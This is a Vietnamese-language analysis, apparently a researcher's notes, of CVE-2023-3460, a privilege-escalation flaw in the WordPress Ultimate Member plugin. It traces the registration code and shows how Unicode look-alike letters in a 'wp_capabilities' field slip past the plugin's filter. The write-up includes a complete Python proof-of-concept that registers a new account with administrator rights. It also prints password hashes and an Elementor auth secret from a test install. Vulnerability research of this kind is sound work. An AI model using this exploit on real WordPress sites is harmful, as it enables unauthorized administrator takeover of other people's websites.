---
# System prepended metadata

title: 'CVE 2023-3460 '

---

Phân tích
Đăng ký 2 account administrator và subcriber so sánh kết quả trong mysql

USER SUBCRIBER
| meta_key        | meta_value                   |
| --------------- | ---------------------------- |
| wp_user_level|  0                      |
| wp_capabilities | a:1:{s:10:"subscriber";b:1;} |
| submmited |  a:6:{s:7:"form_id";s:1:"5";s:10:"um_request";s:0:"";s:8:"_wpnonce";s:10:"415acdc625";s:10:"user_login";s:8:"efH89yhd";s:10:"user_email";s:29:"nobody64e6d8c6bbfd3@localhost";s:9:"timestamp";i:1692850374;}|

USER ADMIN
| meta_key        | meta_value                      |
| --------------- | ------------------------------- |
| wp_user_level |10|
| wp_capabilities | a:1:{s:13:"administrator";b:1;} |


Kiểm tra trong wp_options cho user subcriber ta thấy sẽ có thêm 1 cột là **um_user_metadata_%id** có giá trị sau
```
array (
  'ID' => 75,
  'user_login' => 'efH89yhd',
  'user_pass' => '$P$Bn9P6MrajhvBSm9eVTFlxV/jFxjC3o1',
  'user_nicename' => 'efh89yhd',
  'user_email' => '',
  'user_url' => '',
  'user_registered' => '2023-08-24 04:12:54',
  'user_status' => '0',
  'display_name' => '',
  'subscriber' => true,
  'wp_roles' => 'subscriber',
  'read' => true,
  'filter' => NULL,
  ' WP_User site_id' => 1,
  'nickname' => 'efH89yhd',
  'first_name' => '',
  'last_name' => '',
  'description' => '',
  'rich_editing' => 'true',
  'syntax_highlighting' => 'true',
  'comment_shortcuts' => 'false',
  'admin_color' => 'fresh',
  'use_ssl' => '0',
  'show_admin_bar_front' => 'true',
  'locale' => '',
  'submitted' => 'a:6:{s:7:"form_id";s:1:"5";s:10:"um_request";s:0:"";s:8:"_wpnonce";s:10:"415acdc625";s:10:"user_login";s:8:"efH89yhd";s:10:"user_email";s:29:"nobody64e6d8c6bbfd3@localhost";s:9:"timestamp";i:1692850374;}',
  'form_id' => '5',
  'um_request' => '',
  '_wpnonce' => '415acdc625',
  'timestamp' => '1692850374',
  'um_user_profile_url_slug_user_login' => 'efH89yhd',
  'um_member_directory_data' => 'a:5:{s:14:"account_status";s:8:"approved";s:15:"hide_in_members";b:0;s:13:"profile_photo";b:0;s:11:"cover_photo";b:0;s:8:"verified";b:0;}',
  'account_status' => 'approved',
  '_um_last_login' => '1692850376',
  'account_status_name' => 'Approved',
  'role' => 'subscriber',
  'roles' => 
  array (
    0 => 'subscriber',
  ),
  'can_access_wpadmin' => 0,
  'can_not_see_adminbar' => 1,
  'can_edit_everyone' => 0,
  'can_delete_everyone' => 0,
  'can_edit_profile' => 1,
  'can_delete_profile' => 1,
  'after_login' => 'redirect_profile',
  'after_logout' => 'redirect_home',
  'default_homepage' => 1,
  'can_view_all' => 1,
  'can_make_private_profile' => 0,
  'can_access_private_profile' => 0,
  'status' => 'approved',
  'auto_approve_act' => 'redirect_profile',
  'super_admin' => 0,
)
```
Ta thấy submmited sẽ là data được gửi bởi giao thức post lên server lúc đăng ký với form như sau
```
{'user_password-5': 'efH89yhd23231!!!!', 'confirm_user_password-5': 'efH89yhd23231!!!!', 'user_login-5': 'efH89yhd', 'form_id': '5', 'um_request': '', '_wpnonce': '415acdc625'}
```
Xem tiếp của administrator
```
array (
  'ID' => 1,
  'user_login' => 'j1s0o',
  'user_pass' => '$P$BYVf/8yOkaqHgtvbgXTt61PLt8MowI0',
  'user_nicename' => 'j1s0o',
  'user_email' => 'censored.com',
  'user_url' => 'http://localhost/wordpress',
  'user_registered' => '2023-07-18 03:35:32',
  'user_status' => '0',
  'display_name' => 'j1s0o',
  'administrator' => true,
  'wp_roles' => 'administrator',
  'switch_themes' => true,
  'edit_themes' => true,
  'activate_plugins' => true,
  'edit_plugins' => true,
  'edit_users' => true,
  'edit_files' => true,
  'manage_options' => true,
  'moderate_comments' => true,
  'manage_categories' => true,
  'manage_links' => true,
  'upload_files' => true,
  'import' => true,
  'unfiltered_html' => true,
  'edit_posts' => true,
  'edit_others_posts' => true,
  'edit_published_posts' => true,
  'publish_posts' => true,
  'edit_pages' => true,
  'read' => true,
  'edit_others_pages' => true,
  'edit_published_pages' => true,
  'publish_pages' => true,
  'delete_pages' => true,
  'delete_others_pages' => true,
  'delete_published_pages' => true,
  'delete_posts' => true,
  'delete_others_posts' => true,
  'delete_published_posts' => true,
  'delete_private_posts' => true,
  'edit_private_posts' => true,
  'read_private_posts' => true,
  'delete_private_pages' => true,
  'edit_private_pages' => true,
  'read_private_pages' => true,
  'delete_users' => true,
  'create_users' => true,
  'unfiltered_upload' => true,
  'edit_dashboard' => true,
  'update_plugins' => true,
  'delete_plugins' => true,
  'install_plugins' => true,
  'update_themes' => true,
  'install_themes' => true,
  'update_core' => true,
  'list_users' => true,
  'remove_users' => true,
  'promote_users' => true,
  'edit_theme_options' => true,
  'delete_themes' => true,
  'export' => true,
  'filter' => NULL,
  ' WP_User site_id' => 1,
  'nickname' => 'j1s0o',
  'first_name' => '',
  'last_name' => '',
  'description' => '',
  'rich_editing' => 'true',
  'syntax_highlighting' => 'true',
  'comment_shortcuts' => 'false',
  'admin_color' => 'fresh',
  'use_ssl' => '0',
  'show_admin_bar_front' => 'true',
  'locale' => '',
  'show_welcome_panel' => '1',
  'wp_dashboard_quick_press_last_post_id' => '23',
  'account_status' => 'approved',
  'um_member_directory_data' => 'a:5:{s:14:"account_status";s:8:"approved";s:15:"hide_in_members";b:0;s:13:"profile_photo";b:0;s:11:"cover_photo";b:0;s:8:"verified";b:0;}',
  '_um_last_login' => '1692796117',
  'um_user_profile_url_slug_user_login' => 'j1s0o',
  'wp_elementor_connect_common_data' => 'a:3:{s:9:"client_id";s:32:"pm0W1md3OhQtN8SRx9lqmEyJnIdtIOaq";s:11:"auth_secret";s:32:"vsZDSkxj1poiw2utxPdvodzol7PwdMEO";s:5:"state";s:12:"aOtOW5p2etCA";}',
  'elementor_introduction' => 'a:1:{s:27:"ai-get-started-announcement";b:1;}',
  'announcements_user_counter' => '1',
  'account_status_name' => 'Approved',
  'role' => 'administrator',
  'roles' => 
  array (
    0 => 'administrator',
  ),
  'can_access_wpadmin' => 1,
  'can_not_see_adminbar' => 0,
  'can_edit_everyone' => 1,
  'can_delete_everyone' => 1,
  'can_edit_profile' => 1,
  'can_delete_profile' => 1,
  'default_homepage' => 1,
  'after_login' => 'redirect_admin',
  'after_logout' => 'redirect_home',
  'can_view_all' => 1,
  'can_make_private_profile' => 1,
  'can_access_private_profile' => 1,
  'status' => 'approved',
  'auto_approve_act' => 'redirect_profile',
  'super_admin' => 1,
)
```

DEBUG thử xem lúc tạo user subcriber thì sẽ tạo ra query như thế nào

lúc đăng ký mặt định **$user_role** ta luôn có giá trị sẽ là **subcriber**
![](https://hackmd.io/_uploads/B18vfD4p3.png)

Đặt breakpoint tại dòng có thể xem được query:

`wp-content\plugins\ultimate-member\includes\core\um-actions-register.php`

![](https://hackmd.io/_uploads/rJCZMwN6n.png)

Đoạn code dưới đây sẽ update các giá trị khởi tạo mặc định vào trong table wp_usermeta với các giá trị sau
![](https://hackmd.io/_uploads/rJ0cNDET2.png)
![](https://hackmd.io/_uploads/BJ71SvEp2.png)

Đoạn code sau đây sẽ add role vào trong bảng wp_usermeta nhưng mà ở đây lúc ta đăng ký mặc định sẽ luôn là subcriber
![](https://hackmd.io/_uploads/BkVISPE6n.png)

Sau khi update xong role thì nó sẽ xoá cache đồng thời sẽ chạy tiếp nếu có submmited

![](https://hackmd.io/_uploads/HJTSLwE63.png)

Dừng ở đây để kiểm tra tiếp trong các tables wp_options và wp_usermeta có gì thay đổi không ta sẽ có như sau 

![](https://hackmd.io/_uploads/SyVRPwVT2.png)

Lúc này trong bảng wp_usermeta nó đã đăng ký như bình thường cho chúng ta rồi còn bên bảng wp_options thì wp_cache_userdata vẫn chưa update hết các giá trị của submmited vào như ở trên

```
array (
  'ID' => 78,
  'user_login' => 'sgTRtKlf',
  'user_pass' => '$P$B7C2OlCqiryNBeHSEu97LVh87N/Cd40',
  'user_nicename' => 'sgtrtklf',
  'user_email' => '',
  'user_url' => '',
  'user_registered' => '2023-08-24 04:57:07',
  'user_status' => '0',
  'display_name' => 'sgTRtKlf',
  'subscriber' => true,
  'wp_roles' => 'subscriber',
  'read' => true,
  'filter' => NULL,
  ' WP_User site_id' => 1,
  'nickname' => 'sgTRtKlf',
  'first_name' => '',
  'last_name' => '',
  'description' => '',
  'rich_editing' => 'true',
  'syntax_highlighting' => 'true',
  'comment_shortcuts' => 'false',
  'admin_color' => 'fresh',
  'use_ssl' => '0',
  'show_admin_bar_front' => 'true',
  'locale' => '',
  'account_status' => 'approved',
  'account_status_name' => 'Approved',
  'role' => 'subscriber',
  'roles' => 
  array (
    0 => 'subscriber',
  ),
  'can_access_wpadmin' => 0,
  'can_not_see_adminbar' => 1,
  'can_edit_everyone' => 0,
  'can_delete_everyone' => 0,
  'can_edit_profile' => 1,
  'can_delete_profile' => 1,
  'after_login' => 'redirect_profile',
  'after_logout' => 'redirect_home',
  'default_homepage' => 1,
  'can_view_all' => 1,
  'can_make_private_profile' => 0,
  'can_access_private_profile' => 0,
  'status' => 'approved',
  'auto_approve_act' => 'redirect_profile',
  'super_admin' => 0,
)
```

![](https://hackmd.io/_uploads/HJytIvVan.png)

Thực hiện tiếp action register

![](https://hackmd.io/_uploads/HkL3ID463.png)

Ở đây ta sẽ có các giá trị của $meta_key submitted như sau

![](https://hackmd.io/_uploads/B1KevvE6n.png)

Value sẽ là data lúc ta post lên 

![](https://hackmd.io/_uploads/H1QQPP4Tn.png)

Ta thấy có đoạn code sau sẽ dùng vòng lặp để thay thế vào wp_usermeta các giá trị của submitted vào wp_usermeta

![](https://hackmd.io/_uploads/ry4cKvVT2.png)

![](https://hackmd.io/_uploads/BJ-3YDE6n.png)

Sau đó nó sẽ chạy lại để update data lại lần nữa dựa trên những đoạn update ở trên ví dụ ở đây nó sẽ update lại lastname nè

![](https://hackmd.io/_uploads/r1-MhDV6h.png)

Vậy lúc này nếu ta thêm vào đoạn post đoạn update thêm **wp_capabilities** thì nó có update lại cho ta 1 cái roles khác không tiến hành thử xem

![](https://hackmd.io/_uploads/B1WVTP4pn.png)

Ta sẽ có submitted như sau

```
a:6:{s:7:"form_id";s:1:"5";s:10:"um_request";s:0:"";s:8:"_wpnonce";s:10:"415acdc625";s:10:"user_login";s:8:"vwH1Bs7Z";s:10:"user_email";s:29:"nobody64e6ed1bbc4b2@localhost";s:9:"timestamp";i:1692855579;}
```

không thấy data wp_capabilities đâu hết chắc là nó đã bị filter mất rồi

Ta sẽ thử kiếm cách để bypass character thôi

VD: Thay chữ a bằng 𝙖 thì nó sẽ nhận thêm 1 giá trị cho submitted
![](https://hackmd.io/_uploads/SJFHyuNan.png)

Vậy là ta đã update vào table wp_usermeta 1 giá trị wp_capabilities khác

![](https://hackmd.io/_uploads/ry0hyuEah.png)

Kiểm tra xem trong mysql nó đã thay thế chưa vì nó sẽ update lại dữ liệu 1 lần nữa

![](https://hackmd.io/_uploads/rk-7g_4a2.png)

Giá trị role đã được thay đổi thành administrator rồi nè vậy ở đây ta có thể serialize làm sao đó cho chuỗi giống với admin ở bảng trên

Mục tiêu meta_value : 	a:1:{s:13:“administrator”;b:1;}

![](https://hackmd.io/_uploads/SyGtN_Nph.png)

poc.py
```
import requests
import string
import urllib3
import re
from bs4 import BeautifulSoup
import random
# Tắt cảnh báo "InsecureRequestWarning"
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

url = "https://localhost/wordpress/register"
headers = {
    "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.5735.199 Safari/537.36"
}

session = requests.session()

def getid(r):
    soup = BeautifulSoup(r.text, "html.parser")
    id_input = soup.find("input", {"name": "form_id"})
    
    if id_input:
        id = id_input.get("value")
        return id
    else:
        print("Could not find id")

def wpnonce(r):
    soup = BeautifulSoup(r.text, "html.parser")
    nonce_input = soup.find("input", {"name": "_wpnonce"})
    
    if nonce_input:
        nonce_value = nonce_input.get("value")
        return nonce_value
    else:
        print("Could not find _wpnonce input")
        
def generate_random_username(length=8):
    characters = string.ascii_letters + string.digits
    random_username = ''.join(random.choice(characters) for _ in range(length))
    return random_username
def data(r):
    soup = BeautifulSoup(r.text, "html.parser")
    data_keys = set([tag["data-key"] for tag in soup.find_all(attrs={"data-key": True})])
    id = getid(r)
    username = generate_random_username()
    password = username + "23231!!!!"
    email = f"{username}@gmail.com"
    data = {}
    for i in data_keys:
        if i == "user_login":
            key = f'user_login-{id}'
            data[key] = username
        elif i == "user_password":
            key = f'user_password-{id}'
            data[key] = password
        elif i == "confirm_user_password":
            key = f'confirm_user_password-{id}'
            data[key] = password
        elif i == "user_email": 
            key = f'user_email-{id}'
            data[key]= email
        elif i == "first_name":
            key = f'first_name-{id}'
            data[key] = "hack"
        elif i == "last_name":
            key = f'last_name-{id}'
            data[key] = "no"
        else:
            c = input(f"{i} : ")
            if c != "":
                key = f'{i}-{id}'
                data[key] = c
    # choice = input("1 to add another data ")
    # if choice == "1":
    #     while choice == "1":
    #         key = input("key : ")
    #         value = input("value : ")
    #         data[key] = value
    #         choice = input("1 to add another data ")
    data["form_id"] = id
    data["um_request"] = ""
    data["_wpnonce"] = wpnonce(r)
    data["wp_c𝙖pabilities[administrator]"] = "0"
    #data["wp_càpàbilities[administrator]"] = ""
    return data

if __name__ == '__main__':
    r = session.get(url=url, headers=headers, verify=False)
    data = data(r)
    register = session.post(url = url , headers=headers , data=data, verify=False)
    print(data)
```

![](https://hackmd.io/_uploads/SyKsV_4pn.png)

## Debug 2.6.7
Ban
![](https://hackmd.io/_uploads/ry1PuiMlT.png)

```
if ( ! $is_banned && 'submission' === $context && ! in_array( $meta_key, UM()->form()->usermeta_whitelist, true ) ) {
				$is_banned = true;
			}

```

Hàm tạo context sẽ auto là submission 
```
if ( $this->is_metakey_banned( $key, ( 'account' !== $context ) ? 'submission' : '' ) ) {
					continue;
				}
```
$is_banned sẽ fail nếu điều kiện cuối cùng sai

`in_array( $meta_key, UM()->form()->usermeta_whitelist`

Ở đây có nghĩa là biểu thức trên phải bằng true

![](https://hackmd.io/_uploads/rkX9M0Gla.png)

usermeta whitelist bị giới hạn chỉ có 3 mãng như trên

form lấy ở đây
![](https://hackmd.io/_uploads/rJivYIrg6.png)
![](https://hackmd.io/_uploads/SkTPtIBla.png)
